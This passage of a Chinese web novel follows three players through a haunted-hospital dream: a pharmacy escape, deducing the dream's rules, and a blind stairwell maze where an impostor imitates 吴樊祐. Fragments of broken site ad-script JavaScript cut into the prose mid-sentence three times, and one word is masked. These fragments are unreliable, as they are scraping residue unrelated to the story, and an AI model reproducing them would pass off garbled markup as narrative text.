话虽如此,可她不想再给范正昂增加不必要的恐慌,于是笑道:“哦,我学弟手气确实挺红,让他试试也无妨。” 吴樊祐闻言,自我夸赞道:“毕竟是天选之子,欧皇附体。” “那就好。”范正昂立刻将剩余四张门禁卡塞进了吴樊祐的手里。 看他那决绝的模样,俞小澄不知究竟经历了怎样的霉运,才会让他义无反顾地相信一个并不熟悉的人所谓的运气。 吴樊祐拿着门禁卡就往门口走去,俞小澄急急跟上,悄声警告:“你小子这时候可别想着同归于尽!” 吴樊祐一愣,思考了片刻,从四张门禁卡中抽出一张,然后将剩下三张全部还给俞小澄,一脸严肃地说:“这样学姐总该放心了吧,就算这张错了,我也害不了任何人。” 他突然的正经令俞小澄有些不适应,迷糊了几秒才回道:“噢……那你去吧……” 吴樊祐看着俞小澄迷糊的模样,勾起嘴角,饶有兴致地问道:“学姐怕我故意选错,我可不可以理解成,这是对我运气的肯定?” 俞小澄有些茫然,细想之下,总算明白他话中含义。 如果不相信,那吴樊祐选错与选对其实都只是概率,不存在故意使坏,可她的话,似乎是在肯定吴樊祐有决定选对选错的能力。 对此,俞小澄没有辩解,难得真诚而坦率地回答:“我相信你。” 吴樊祐闻言微微一怔,随即眼神温柔地望着俞小澄,露出一个阳光和煦的笑,对俞小澄说:“我也相信自己。” 俞小澄不知他是真的没心没肺,还是故意气人,哭笑不得地摇了摇头。 吴樊祐在众人注视下走到了房门口,就在他抬手想要刷卡时,蜷缩在墙角的邹奕突然发了疯似的冲了过来,意图抢夺吴樊祐手里的门禁卡。 “你会害死我们的!不行,我绝不同意,我不会把命交到别人手里!” 一番激烈的言辞,加上粗鲁的举动,都预示着这个即将崩溃的人只会成为累赘。 俞小澄站在边上,一脸厌烦地盯着邹奕,冷冷对吴樊祐道:“赶紧解决了吧,当心碰到机关。” 如果换成旁人,俞小澄还要担心一下邹奕坏事,可对手是吴樊祐,俞小澄只担心他用力过猛,不小心触碰了机关。 “嗯。”吴樊祐平淡地回了一声。 正如俞小澄所想,吴樊祐根本没将邹奕放在眼里,见人冲过来,不慌不忙,不躲不避,一把揪住对方衣领,顺着力道将人往前一带,再横扫一腿,就将人面朝下放倒在地。 吴樊祐一脚踩在邹奕背上,一手将卡递到了刷卡器上。 “嘀~嘀~嘀~” 一阵不一样的提示音响起,俞小澄听到了开锁的声音。 招呼范正昂后,俞小澄紧跟在吴樊祐身后,走出了药房大门。 一切重归黑暗,从药房死里逃生的四人再次回到了昏暗的走廊里,一出门,范正昂和邹奕就瘫坐在了地上。 范正昂看着身旁的邹奕就来气,大骂道:“你这家伙要这么搞,接下来的路你就自己走!” 明明犯错的人还表现得理直气壮,邹奕埋着头,声音阴沉地回道:“我还不想跟你们一起走呢!我可不想被你们害死!” 这话说得黑白颠倒,听得范正昂呆若木鸡,瞬间有种吃力不讨好的感觉,气闷地说着反话:“行,那你赶紧走,当心别被我们拖累。” 邹奕不堪受气,当即站起身,左顾右盼,思索良久,最终哪一边都没有选,径直进了他们面前的病房,嘭的一声摔上房门。 “脾气这么臭,真当自己是小祖宗喃?”范正昂愤愤然说道。 俞小澄靠着墙休息,没想到吴樊祐还真选中了唯一正确的那张门禁卡,感觉有些不可思议,也不得不佩服他有这样的运气。 “对了,汤神婆怎么没跟你们一起?” 俞小澄忽然想起刚看到范正昂几人时心中的疑问,那时因为他们突然被传送进了药房,开启了生死游戏模式,所以便没有机会过问。 范正昂回答:“就在去药房前,跟我们分开了,她不放心庞大师一个人,所以选择了去往电梯那条路。” “你们之前遇上怪事了吗?”俞小澄接着问。 她一直觉得挺奇怪,病房里两鬼影的话时灵时不灵,根本没有明确的依据。 前一刻,他与吴樊祐去了门诊部,一切都很正常,还给吴樊祐问了诊,开了处方单,到药房时,其实一开始也没有发生怪事,直到遇上范正昂他们。 就好像是因为人员到齐了,触发了游戏。 范正昂说:“说来奇怪,一开始我们也没遇到什么怪事,直到抵达药房。” 他们四人离开走廊进入楼梯间后,从13楼一直下到了1楼,途中没有发生任何怪事。 病房的两鬼影明说了“走楼梯不能睁眼”,可四人全程睁眼也没有出现鬼打墙的情况,这让原本对医院规定深信不疑的范正昂十分困惑。 从1楼出口走出,他们再次回到了13楼走廊,然后汤神婆便离开了队伍,而他们则转到了药房。 俞小澄听了范正昂的话更觉诡异,人数触发游戏这种想法似乎不太成立,因为每次发生古怪事,人数都不相同。 比如被困在病房里时,只有一人;在走廊遇到鬼手时,有三人;在候诊大厅参与木头人游戏时,总共七人;药房密室逃生时,是五人。 并不统一的数据完全支撑不了俞小澄的猜测,因此她不得不将这种想法暂且搁置。 正当俞小澄苦思冥想也想不出更好的解释时,脚踝传来冰冰凉凉的触感,俞小澄吓了个激灵,猛地跳到一旁,疯狂甩腿。 那冰凉的触感消失,俞小澄也没有在脚上看到任何东西,心中顿觉怪异,手臂上密密麻麻地爬上一层鸡皮疙瘩。 “怎么了,学姐?” 大概是被她的夸张动作惊到,原本靠在墙边闭目养神的吴樊祐关切地跑到她身边。 俞小澄疑惑地盯着自己的脚, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 摇头道:“不知道,刚好像有什么飞到我脚踝上了。” “喂……不会是鬼手抓你脚了吧……”范正昂声音带着些微颤抖。 俞小澄刚才没注意,被范正昂这么一说,陡然回想起已婚女人说的话,方才的触感回忆起来似乎真有些像被人抓住了脚踝。 四周的温度骤然降低,一股寒意自脚底向上攀升,安全出口指示灯的绿光照射出地面的寒气,如一层薄雾覆盖住整个走廊。 就在这突然变得诡异的气氛中,俞小澄听见咯吱咯吱细碎的响声,不知从哪里传来,又好像遍布四处。 大腿上又长出一个人,正是进宝,于是俞小澄低头问她:“进宝刚才有没有看到什么东西抓了姐姐的脚踝?” 进宝将脸藏在她脚后,抖得跟筛糠似的,说:“姐姐,是地底的恶鬼。” 就在进宝说话时,俞小澄的视线落在了方才站的位置上,在寒气掩盖下,两只半透明干枯的手自地下伸出,一只手四处摸索,仿佛寻找了猎物,另一只手握着一把锋利的大刀。 “走!” 俞小澄发出一声惊呼,顾不上两边走廊分别通往哪里,推着吴樊祐和范正昂都跑向了右边走廊。 她听到身后传来窸窸窣窣的声响,那两只手似乎紧追不放,并且速度很快,那声音越离越近,千钧一发之际,三人终于撞进了透明的水墙。 算是逃过一劫,俞小澄吐出一大口气,可根本没有容她缓口气的余地,她便发现进入的地方有些不大对劲。 三人进入了楼梯间,但与其他明亮的地方相比,这里显得阴森了许多,头顶上的灯泛着幽蓝色的光,将楼梯间衬托得十分阴间。 “这……选这种颜色灯管的人是不是有什么心事……”俞小澄无情地吐槽。 吴樊祐咯咯笑了起来,接过话头,说:“恐怕跟医院有深仇大恨。” 只有范正昂面色铁青,他说:“我上一回来这儿还不是这个样子的啊……” 在范正昂记忆中,楼梯间的灯光与医院其他地方一致,都是冷白色调,怎么想,也不可能有医院会挑选阴间色调做照明。 听到范正昂无比肯定的回答,俞小澄的心顿觉一凉。 恐怕又要出幺蛾子了。 俞小澄指了指身后紧闭的大门,提议:“要不……先出去?” 她说着拉了拉门把手,门似乎打不开,她只好让招财去门后面帮忙开门。 运气不算太糟,这门并没有像药房那般被锁死,招财轻松将门推开,俞小澄便招呼着吴樊祐和范正昂先离开楼梯间。 “走廊上那鬼手怎么对付?”吴樊祐问。 俞小澄还没想好,不过比起那只有形的手,这种无形且压抑的气氛更让她感觉紧张,思索片刻,她随意回应道:“不行就先跑病房里躲躲吧。” “也好。”吴樊祐扭动着脖子,一副疲惫的模样,“正好有些困了,或许可以睡上一觉。” 范正昂没有吴樊祐这般乐观,不安地念叨:“希望这里别出怪事才好。” 有时候想什么就会来什么,好的不灵坏的灵,仿佛是为了不辜负范正昂的幻想,当他们走出大门时,怀揣着些许希望的心就彻底死了。 门后连接的不是熟悉的走廊,他们又重新回到了幽□□光渲染的楼梯间。 181. 梦境(七) 很好,连楼梯间的鬼话也应验了,俞小澄是越来越不懂这场梦境的规则了。 她一脸狐疑地死死盯着范正昂,盯得范正昂心里直发怵。 范正昂:“怎么了?我脸上有东西吗?” 俞小澄:“我怎么觉得是你不对劲呢?” 范正昂:“我不对劲?你在说什么喃?” 俞小澄:“我跟学弟两个人不管去哪里都没有发生怪事,但一遇上你,就怪事不断,你说不是你有问题,还能是谁有问题呢?” 范正昂被她这一番看似有理的分析整得云里雾里,心里十分不愿承认,于是据理力争道:“之前我跟你一起行动时,也没出什么情况啊,你怎么不说是你学弟的问题?” 俞小澄认真地思考了一下范正昂的话,觉得似乎也有几分道理,于是视线从范正昂身上缓缓挪到了吴樊祐身上。 吴樊祐冷笑着望向范正昂,诡辩道:“挑拨离间?会不会这梦境讨厌电灯泡呢?” 范正昂被噎了一下,嘴角抽搐,讥讽道:“电灯泡好像不是这么用的吧,兄弟你好像连自己的定位都没搞清楚啊。” 俞小澄担心这两人吵起来,赶紧打断:“总之你们两个中肯定有人有问题,否则没道理一会儿出事,一会儿不出事。” 范正昂仿佛在俞小澄的话中抓住了要点,说:“之前我和另外三人来这儿时也没问题,那么有问题的会不会是你俩。” 这回换俞小澄被噎住了,她没想到自己扔出了一记回旋镖,咬牙切齿地说:“你论证的点是不是偏了,我难道不是我们三人中唯一一个没单独遇上怪事的人吗?” 说出这句话时,脑子里有根弦似乎被拨动了一下,俞小澄倒吸一口凉气,脑海中那些模糊看不清的线索似乎渐渐有了轮廓。 俞小澄赶紧问吴樊祐:“还记得都有谁出不了病房门吗?” 吴樊祐掰着指头给她数道:“我、这小子、庞大师、邹奕。” 俞小澄在心里计算着后来他们行动时的组合方式。 俞小澄不管自己行动,还是和范正昂一起行动,亦或是和吴樊祐一起行动,都没有遇见怪事。 已婚女人自己行动时无事发生,找到邹奕也没出事,可庞大师加入后便遇到了鬼手。 汤神婆自己行动时一切正常,然后遇上吴樊祐同样没事。 接着到了候诊大厅,全员到齐,他们也迎来了第一次要命的游戏,此后庞大师落了单。 随后他们兵分两路,俞小澄和吴樊祐一路,剩余四人一路,但哪一边都没有遭遇怪事。 可等两队汇合时,汤神婆为寻庞大师离队,剩下五人在药房迎来第二场游戏,也正是在这场游戏中,已婚女人不幸罹难。 最后,因为发生争执,邹奕独自留在了病房里,而俞小澄、吴樊祐和范正昂先是在走廊遇上了鬼手,后来又被困在了楼梯间。 将所有组合理清后,俞小澄终于发现了个中规律。 “出不了病房的人数一旦大于可出病房的人数,病房里那两个鬼影所说医院规定就会生效。”俞小澄总结呈词。 吴樊祐十分捧场地拍手称赞:“不愧是学姐,这都能让你找到规律。” 范正昂也不得不承认,俞小澄给出的结论很有说服力,不过他还有一点不明白,便问俞小澄:“那这个出得了病房和出不了病房是如何界定的?” 其实俞小澄也很好奇,难道寒梅梦境也学了幽兰梦境那一套,一进入梦境就先给玩家分配阵营? 可细想之下,也不是无迹可寻。 “有没有可能,因为你们听了房中鬼影的胡扯,并选择了相信?”俞小澄大胆猜测。 吴樊祐表示,这样理解似乎也合理,因为他确实在病床上将那两个鬼影的对话从头听到尾,第一反应是NPC在向自己传递梦境规则。 而范正昂也是个谨慎的性子,经历了上一场校园怪谈的梦境后,他默认会有NPC在开场告诉他梦境中所有的禁忌事项,因此,他自然选择了相信。 俞小澄则觉得那些话过于违反常理,并没有放在心上,加之发现隔壁床根本就没人,吓都被吓跑了,哪儿还有闲心在意他们说了什么。 这一点与汤神婆的情况很像,估计汤神婆也是被床上是鬼非人这一点吸引了全部注意力,才侥幸成了不被鬼话束缚的人。 已婚女人就更不必说了,她那急躁的性子,根本没听鬼影说话内容,只觉吵闹,遂径直离开了病房。 以此类推,俞小澄觉得这一结论足以说服自己。 范正昂又问:“就算弄清了梦境的规则,可眼下又该如何脱困?” 吴樊祐说:“你刚才自己不也说了,走楼梯不能睁眼,睁眼要遇鬼打墙。” “所以闭眼走?” 范正昂说着便闭上眼,双手在空中摸索着,向身后大门探去。 俞小澄见他摸门摸了许久,就是不推门走出去,看得俞小澄格外心焦,恨不得帮他一把。 于是俞小澄偷偷走到范正昂身旁,从侧面替他推开了半扇门,只等范正昂迈步走出。 然而,令她没想到的是,范正昂对着空气又摸索了许久,就像完全没有发现面前已经空了,看他那摸索的模样,就跟无实物表演身前有一面墙一样。 俞小澄实在受不了,拍了拍范正昂的肩,可对方就像感受不到似的,自顾自地继续摸索,在门边摸了许久无果,便开始迈步往楼下走。 估计害怕踩空摔倒,范正昂走得极慢,一只手扶着墙壁,一只手在前方探路。 就这么无视了二人的存在,独自摸索着下楼。 俞小澄和吴樊祐面面相觑,不知道范正昂在闭眼的世界中遭遇了什么。 吴樊祐忽然向她伸出了手,一脸严肃地说:“闭上眼可能会有空间改变。” 俞小澄犹豫了片刻,最终抓住了吴樊祐的四根手指,故作镇定地警告:“你可别想着捣乱,我让招财进宝盯着你喃。” 吴樊祐蜷曲指头,将俞小澄的手握在手心,温柔笑道:“学姐若养成了威胁我的习惯,以后我不在了,你可怎么办?” 这句话让俞小澄心头一乱,她并不想让吴樊祐将自己的心思看穿,于是赶紧转移了视线,指了指还在往楼下走的范正昂,催促道:“赶紧走吧,别自作多情了,我对你养不成习惯。” “嗯。”吴樊祐反应平淡,牵着她的手稍微收紧,然后便闭上了双眼。 俞小澄跟招财进宝简单交代几句,让他们在自己闭眼期间替自己引路,随即也闭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上了眼睛。 身体好像坠入无边无际的黑暗中,周遭变得寂静无声,似乎只有手上传来温暖的触感在时刻提醒她,她不是一个人。 俞小澄一手抓紧那唯一的依靠,一手在空气中摸索。 往记忆中的方向探去,她碰触到一面冰冷的墙壁,而她清晰地记得,在闭眼前,那里应该是被她敞开了一半的大门。 果然,整个空间的格局发生了本质的变化,所以她需要将自己当作一个盲人,在黑暗中找出离开楼梯间的那扇门。 “招财进宝?”俞小澄喊出了声。 可等了半晌也没能等到回应,实在太过安静,她甚至能听到自己的心跳声。 “吴樊祐?” 料想自己陷入了某种与外界隔绝的空间中,俞小澄意识到没法再依靠招财进宝,转而呼唤起吴樊祐。 手依然牵着,可另一端的人并没有给予回应。 她这下彻底明白为何范正昂没反应了,闭眼后的世界仿佛隔绝了她与外界的连接,或许这个时候招财进宝也像自己唤范正昂那般唤着自己,可惜自己根本感受不到。 如果现在睁眼呢? 是否一切就会恢复如初呢? 忽然,她耳边响起了那阵熟悉的广播,女子笑盈盈地说明: “本场游戏正式开始,请患者自行找到迷宫出口。友情提示,本场游戏你是一名盲人,如果破坏规则,强行创造医学奇迹,可是会没命的哦,请千万小心。” 果然,闭眼后,楼梯间的游戏便被正式激活,难怪范正昂始终没有睁眼,而是摸索着开始下楼。 俞小澄不再继续停留,她捏了捏吴樊祐的手指,权且当做提醒,然后便扶着墙,用脚一点点探索着往楼下走去。 虽然牵着的人始终没有语言上的回应,可似乎能明白她的想法,也开始不紧不慢地随她向下探索。 以楼梯间的宽度,她二人并肩行走,一人扶墙,一人扶扶手,倒是不用太担心摔倒,只要保持差不多的速度前进即可。 不过俞小澄这边的任务更重,得时刻留意墙面上有没有出口。 就这么拾阶而下,短短一楼都变得无比漫长,手上的触感永远千篇一律,除了冰冷的墙壁再摸不到别的。 俞小澄耐着性子一路往下,不知时间过了多久,也不知道一共下了几楼,只觉得这条路仿佛永远没有尽头,心情便随着时间愈发焦躁起来。 终于,俞小澄的腿都走酸了,摸着墙壁的指腹也开始麻木,她抓紧吴樊祐的手,将人往身边拉了拉,示意对方停下脚步。 感觉对方没有再继续往前,俞小澄扶着墙壁坐在了台阶上。 她需要稍作休息。 “为什么这次的游戏没有时间限制呢?”俞小澄一边敲打着酸胀的小腿,一边提出疑问。 当然,这问题只能算作她的自言自语,因为在这个空间里,没有人会回答她的问题。手上牵着的人就仿佛一件不会说话的玩具,只提供陪伴的情绪价值,却不是可以互动的同伴。 俞小澄正思考着这场游戏的奇怪之处,忽然有人从身后靠近,伸手捂住了她的嘴,温热的气息喷在耳边,她听到了吴樊祐的声音。 “学姐,清醒点,也不看看你拉着的是谁?” 182. 梦境(七) 吴樊祐为什么会在身后出现? 那与她牵手的人又是谁? 一阵狂风自脑海中刮过,吹乱了所有思绪,手上的触感也变得微妙起来。 俞小澄身上密密麻麻地爬上一层鸡皮疙瘩,原本牵着吴樊祐的手微微颤抖,像是想要远离危险一般,她动作轻缓地松开了手指,试图神不知鬼不觉地将手抽离。 可她刚刚抽出一寸,就被对方死死抓住,她再用力拉扯,感觉手指都疼了也没能将手抽出。 心中骇然,她动作停顿,屏住呼吸,然后感觉对方的力气也有所放松。 看来,想要逃脱有些难办了。 莫非一闭上眼,身边的人就变了吗? 俞小澄百思不得其解,拍了拍捂在她嘴上的那只手,示意对方松手。 对方很快意会,将手从她嘴上挪开,但唇一直附在她耳边,低声说道:“学姐怎么还不松手?你是不相信我吗?不信你睁开眼睛看看牵着的人是不是我啊。” 身后的人在耳边叽叽喳喳个没完,俞小澄不耐烦地抬起手,一掌拍在了他脑门上,大骂:“你是真的狗,这时候还想着骗我睁眼?” “啊?你怎么知道……”身后的人被她一掌打得后退了一步,声音流露出些微疑惑。 俞小澄气势汹汹地甩了甩被死死抓住的手,道:“这是我不肯松吗?明明是这家伙抓着我不放!跟信不信你有半毛钱关系吗?一直逼逼叨叨没完没了,烦不烦,你不如想想怎么帮忙!” 她劈头盖脸就是一顿训斥,身后的人不怒反笑:“呵呵,原来是这个意思啊,学姐别慌,我这就帮你。” 话音刚落,俞小澄就感觉又有人贴了上来,一只手抚上她的手臂,贴着皮肤一路往手掌滑去。 俞小澄感觉心情怪怪的,也觉得身后的吴樊祐怪怪的,她不理解这到底是在帮忙,还是在占便宜,咬着牙,忍着烦躁的心情,感知着接下来究竟会发生什么。 当手臂上那只手靠近手掌时,俞小澄明显感觉牵她的手紧上一些,似乎不愿放手。 仿佛有两股力道相互较着劲,以俞小澄的手为战场,一冷一热,悄无声息地争抢着地盘。 渐渐地,俞小澄感觉牵她的那只手明显落了下风,竟有松手的迹象,虽然极力想要抓住她的手指,可就像有股力量将其推离。 冰凉的手指蹭进俞小澄的手心,指腹拂过,留下一丝酥麻的感觉,然后继续前进,滑入指缝间,最后与她十指相扣。 俞小澄耳边再度传来吴樊祐的声音:“学姐,跟我走。” 那只手拉着她站起身,然后带着她向身后转去,竟拖着她向楼上走去。 俞小澄心中困惑不已,有些难为情地将手缩了回来,然后摸索着想要寻找墙壁。 一只手绕过后背,搂住了她的腰,有人从侧面贴近,另一只手扶住她的手腕,就这么将她困在了原地。 “你干嘛?”俞小澄心生疑惑,掺杂着些怒气。 “学姐只要倚靠我就好,我会带学姐离开此地。”耳边的声音温柔得让人腿软。 俞小澄却不领情,伸手便掐住身旁人的脸颊,一边使力一边怒斥:“你再不放手,就不是动手是动口了。” 一阵哀嚎,牵制住俞小澄的力气全部撤离,俞小澄摸索着找到了墙壁,终于有了点安全感。 “吴樊祐,你究竟又打算作什么妖?我刚从楼上下来,你又把我往楼上带,你当我傻子吗?” “哎呀,学姐误会我了,你一直被妖怪拉着走错路,所以那么久也没找到出口啊。” 这话正中下怀,俞小澄方才也觉得奇怪,怎么走了那么久也没寻到出口,瞬间觉得自己可能真的被骗了,从她闭上眼开始,就已经落入了恶灵的陷阱。 “好吧,那出口在哪里?”俞小澄妥协道。 一只手又再次挽上俞小澄的胳膊,吴樊祐的声音带着轻快地节奏:“我来给学姐带路。” 俞小澄任由他扶着,一步步往楼上走。 又走了不知多久,俞小澄走乏了,时不时询问距离出口到底还有多久,而收到的回答永远是“马上就到了”。 终于,扶着她的人停下了脚步,轻声对她说:“学姐,我们到了,你面前就是出口。” 俞小澄欣喜,伸手往前摸,果然摸到了一扇实木门,拧着门把手便开了门。 长久紧绷的神经终于在这一刻得以放松,俞小澄长舒一口气,抬步就要往门里走。 忽然,她感觉一丝异样,脚步一顿,转头问道:“你怎么好像能看见?你没闭眼吗?” “说什么傻话呢!”吴樊祐的声音听上去有些紧绷,“我当然闭眼了,不闭眼我如何与学姐交流。” “那你闭眼是如何找到我的?” “听到了你的声音啊,傻瓜。” “哦……” 俞小澄陷入片刻沉默,心想自己是不是又敏感多疑了,一切听上去好像还算合理,可不知为何,她心里总莫名感觉奇怪,一时又说不清是哪里怪怪的。 “你都已经找到出口了,自己离开不就好了,何必要来找我。”俞小澄忍不住喃喃自语。 “我怎么可能这么自私!学姐有危险,我怎么能一个人逃跑?” 十分令人动容的说辞,仿佛说话人的形象立马高大起来,可俞小澄的心不断下沉。 她缓缓问道:“为什么要救我?” “啊?这是什么话?你是我学姐,我不救你救谁啊?别说了,赶紧出去吧,一会儿妖怪追上来就逃不掉了。” 俞小澄在一声声催促中,从门前移开了脚步,客气地谦让道:“你先请,这出口可是你找到的。” “哦……好……” 那声音有些无奈,俞小澄听到脚步声穿过木门,然后那人在门里不断催促着。 “嗯,来了。”俞小澄一边回应,一边重重地关上木门,嘴里骂骂咧咧,“来你妹啊,有种你再追上来,看我不撕烂你的嘴!” 她气恼地转身,摸着墙壁往楼下走去。 吴樊祐的确会想救她,可在吴樊祐眼中,救她的方式便是送她去死。 因此,当那人说出“有危险不能一个人逃跑”时,俞小澄便知道自己上当了。 吴樊祐要救她的原因,也不可能仅仅因为她是学姐。 俞小澄只觉胸闷,被人骗着走了那么远的路,只怪自己没有早些拆穿那个不知道是啥玩意儿的东西,这下得自作自受再爬这么多台阶。 一路下行,没过多久,俞小澄就又听到了脚步声,那个“吴樊祐”再次追了上来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,显然不死心,撒着娇让俞小澄跟他走。 知道俞小澄不相信他的身份后,他又哄骗俞小澄睁眼看他长相,以此来证明自己真的是吴樊祐。 俞小澄不胜其烦,恨不得将“吴樊祐”的嘴缝上。 就这么一路被折磨着寻找出口。 “学姐,刚才你不是摸到门了吗?再往下可就是永无休止的阶梯,不可能再找到门了,你干嘛这么固执呢?你想被困死在这里吗?” 演员十分敬业,始终一副想要帮助俞小澄逃脱困境的感人模样。 可他说的话,俞小澄只会反向听。 “呵呵,刚才那门吗?难道不是你变出来的吗?想骗我以为走出了楼梯间,然后睁开眼,你就可以原形毕露,大开杀戒了吧?” 对方忽然的沉默让俞小澄知道自己猜对了。 不知是不是被俞小澄识破后,那个“吴樊祐”觉得颜面尽失,终于放弃了纠缠,四周重新安静下来,只有俞小澄的脚步声在楼梯间回荡。 又不知走了多久,俞小澄的手指忽然触碰到一些不一样的材质,光溜溜的墙壁上竟然出现了一道门。 俞小澄兴奋地握住把手推开了门,不过惊喜之余,她还残存着些许理智。 也许是疑神疑鬼的性格在作祟,她总忍不住想要怀疑一下这个出口的真实性,毕竟“吴樊祐”之前刚变出一扇门来欺骗她。 她已经可以想象出,如果这扇门是假的,她或许睁开眼,就会看见一张血盆大口,瞬间将她化为腹中餐。 一想到这样,她就往后退了一步,浑身打了个激灵。 至于要如何确定自己找到的门是真是假,她稍微思考片刻,便有了主意。 只见俞小澄站在门边,扯着嗓子冲门里喊道:“招财!进宝!” “招财~进宝~” 门内只传来一阵回声,等了许久也没能等到招财进宝的回应。 “好的。”俞小澄默默关上门,扶着墙继续往楼下走。 于是一路上,她前前后后摸到三扇门,且每扇门打开都有惊喜。 后面这三扇门回应她的不再是孤零零的回声,而是千奇百怪的伪装。第一次是一男一女告诉她外面安全了,第二次是两声犬吠,第三次是一猫一狗。 俞小澄听得冷汗直流,大概“吴樊祐”根本不知道招财进宝是什么东西,于是只能拙劣地模仿着各类声音,然后统统撞在了俞小澄的雷点上。 折腾半天后,“吴樊祐”似乎终于发现这办法行不通,于是门也不再出现了。 有这弱智一样的NPC相伴,俞小澄竟觉得这一路没那么枯燥,只是不知道什么时候是个头。 在“吴樊祐”销声匿迹许久后,俞小澄反而觉得有些寂寞,便后高声唤道:“喂,你就想不出其他办法了么?你要放弃,那我可就走了哦!” 过了一会儿,俞小澄听到一阵脚步声,正疑惑之时,一只热乎乎的手抓住了她的手腕,轻轻往前一带,她脚下不稳,随即摔进了某人的怀抱中。 一只手轻轻抚过她的后脑勺,另一只手搂住她的腰,将她半圈在怀中,那人俯首埋在她肩窝,发丝扫动她耳廓,感觉痒痒的。 俞小澄咬牙切齿:“好好好,这就是你想出的新办法是吧,那你可不能怪我!” 183. 梦境(七) 当搂着俞小澄的人用头肆意蹭着俞小澄的脖子时,俞小澄已经抬脚往那人身下顶去,刚一碰撞,俞小澄立马感觉到对方全身紧缩,双手自然而然松开,整个人后退远离,俞小澄重获自由。 俞小澄冷笑一声,骂道:“就凭你还想占便宜?就算你再也能力,我不睁眼,你就没法对我动手,梦境的规则既能折腾玩家,也能束缚你,傻子!” 一顿冷嘲热讽后,俞小澄摸回墙边,昂首挺胸继续找出口。 可被她教训了一顿的人似乎还不死心,即使蹲在地上起不来,还是伸手扣住她的手腕,不让她离开。 俞小澄哪儿能忍,反手抓住那只手,俯身就往大鱼际肌上咬。 这一口,俞小澄没留一点情面,感觉血都被她咬出来了,可对面硬是没哼一声。 俞小澄心中有些疑惑,又不敢睁眼看,松了口,想着就此放他一马。 然而她刚站直身子,那只带着血的手又追赶上来,握着她的手指不撒开。 “这傻子什么时候这么能忍了?方才不是挺能说么,怎么现在哑巴了?都被我拆穿了还觍着脸硬装吗?” 俞小澄越想越觉得奇怪,那只手仅仅是拉着她不让她离开,除此以外,似乎没有进一步的打算。 那个滚烫的手心不断有热度自指尖传递,俞小澄总觉得哪里不对劲,思前想后,终于回想起“吴樊祐”的手指冷得像具尸体,可现在拉着自己的人,明显体温很高。 一边想着,俞小澄一边向蹲在地上的人影靠近,伸手向那人额头探去。 如同高烧一般的体温。 一股羞愧之情瞬间占据了俞小澄的心,脸颊唰的一下着了火,幸亏她与吴樊祐都闭着眼,谁都看不见这尴尬的场面。 “完了,揍错人了……”俞小澄小声嘀咕,心里七上八下的,思考着如果出去了,该找什么理由解释自己莫名其妙揍了吴樊祐一顿。 “要不别承认了,就说是他产生了幻觉。” 心中如此打算,俞小澄不好意思地伸手拍了拍吴樊祐的手,试图将他拉起来。 不过,显然她刚才那一脚与手上这一口相比,同样拼了全力,这一时半会儿,人怕是起不来。 俞小澄苦笑着坐到吴樊祐身旁,伸手抚着他的后背以示安慰,只能庆幸他们在这个空间里无法语言交流,否则,俞小澄觉得自己能尴尬得想挖个洞把自己埋了。 兴许是意识到俞小澄认出了自己,执着抓着俞小澄的手终于松开了。 俞小澄就这么陪吴樊祐在台阶上坐了许久,直到对方终于有了下一步行动。 吴樊祐站起身,再次牵起俞小澄的手,虽然什么也没说,但俞小澄大致猜出,他准备好继续寻找出路了。 于是俞小澄也没闲着,继续往下一路摸索。 走到筋疲力尽时,俞小澄又一次触碰到一扇门,熟练地推开门,冲门内喊了声“招财进宝”。 这一次,没有回声,她终于听到了朦胧的声音,依稀可以分辨出,那是招财进宝在激动地叫她“姐姐”。 俞小澄拉着吴樊祐迈入出口。 “姐姐!你可算出来了!”进宝抱着她的大腿就开始哭。 “我们一路跟着你,可你仿佛跟我们不在一个空间,怎么喊你都没用,就看你在楼梯间上上下下,急死我了。”招财又开始唠叨起来。 俞小澄终于放下心,缓缓睁开了眼睛,眼前依然是熟悉的黑暗,黑暗中一块块亮着绿光的安全出口指示牌勾勒出走廊的轮廓,向两边延伸,没有尽头,两个人影杵在一左一右两条路上。 他们终于回到了走廊中。 吴樊祐甩着手,倒吸着凉气,抱怨道:“学姐就这么恨我?也不用下死手吧……” 俞小澄赶紧装傻:“啊?怎么了?你手受伤了吗?怎么这么不小心啊。” 吴樊祐身形一顿,随即笑道:“没事,让一条小狗给咬了。” 仿佛有一羽箭射中了俞小澄膝盖,她踉跄一下,抽搐着嘴角说:“呵呵,是么,那她没咬别的地方吧?” 这次轮到吴樊祐陷入了沉默,轻咳一声,转移了话题:“学姐中途干嘛松手?你跑哪儿去了,我等了你好久。” 俞小澄心脏猛然跳动,似乎终于明白为何还能再遇见吴樊祐。 被俞小澄甩开手后,吴樊祐一直停在原地等待,即便不知道俞小澄是否会在别的地方找到出口,是否会遇上什么危险,更不知她是否还会返回,他都选择在原地停留。 俞小澄想,如果自己离开了,吴樊祐打算在楼梯间等多久呢? 又或者,自己遭遇不测,再也回不去了,他又要等到什么时候呢? 这种好奇在心底翻起巨浪,让她没能保持住冷漠。 “你干嘛要等我?自己找出口不就好了……” “我找出口干嘛?如果扔下我,是你对我的惩罚,那我甘愿受罚;如果你不能安全离开,结局怎样都与我无关了。”吴樊祐轻描淡写地回答,“再说,不是你让我留下来陪你吗?” 吴樊祐又用那熟悉的玩笑腔调说着这些伤感的话,却始终未将重要的事说透,大概是碍于旅店的规则。 此刻俞小澄只觉得,吴樊祐其实并没有她想象中聪明。 他以笨拙的方式关心着她,偏执地相信她的无罪,天真地期待她能走出旅店。 可惜,她从来不得上天垂青,在运气这条道上,她自愿认输。 如果当年她大胆地向吴樊祐告白,说不定她不会成为现在的她。 可惜,一切都晚了。 “我改变主意了,像我这样强大的人,根本不需要谁来陪我,都是累赘罢了。”俞小澄故作轻松地说道,“我对惩罚你已经没有兴趣了,以后就算你留在旅店,我也不会带你进入同一个梦境了,你是死是活,就看你个人造化了。” “……” 走廊里,交谈声戛然而止,随之而来的是长时间的沉默。 不远处两个人影依旧表演着属于自己的剧本,热情地为玩家指引方向。 左侧人影指着左边走廊说:“往这边走,前往药房。” 右侧人影指着右边走廊说:“往这边走,前往手术室。” 过了一会儿,俞小澄从兜里掏出那张一直未交出的处方单,指了指左边走廊,道:“先去拿药,然后回房吃药,睡上一觉,安静等待梦境结束。” 如今只有俞小澄和吴樊祐两人,不管他们去哪儿,都不会触发医院规则。 